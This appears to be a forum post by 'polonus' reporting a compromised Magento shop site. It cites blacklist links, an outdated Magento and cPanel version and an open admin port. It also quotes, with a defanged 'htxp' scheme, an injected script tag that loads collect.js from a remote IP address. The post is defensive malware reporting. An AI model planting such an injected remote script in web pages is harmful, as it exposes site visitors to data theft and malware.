See; http://killmalware.com/autohoistaustralia.com/
Google Safebrowsing Blacklisted: http://www.google.com/safebrowsing/diagnostic?site=http%3A%2F%2Fautohoistaustralia.com&hl=en
Yandex blacklisted: http://yandex.com/infected?l10n=en&url=autohoistaustralia.com
Detected malicious JavaScript injection
<script type="text/javascript" src="htxp://122.155.168.105/ads/inpage/pub/collect.js"></script>
→ mwjs-iframe-injected530?v26
Suspicious file: Detected HTTP redirection to http://wXw.autohoist.com.au/.
Application: Magento - htxp://www.magentocommerce.com/
Running cPanel 11.42.1.29: wxw.autohoist.com.au:2082
Magento not updated. Recommended = version 1.9.0.1.
polonus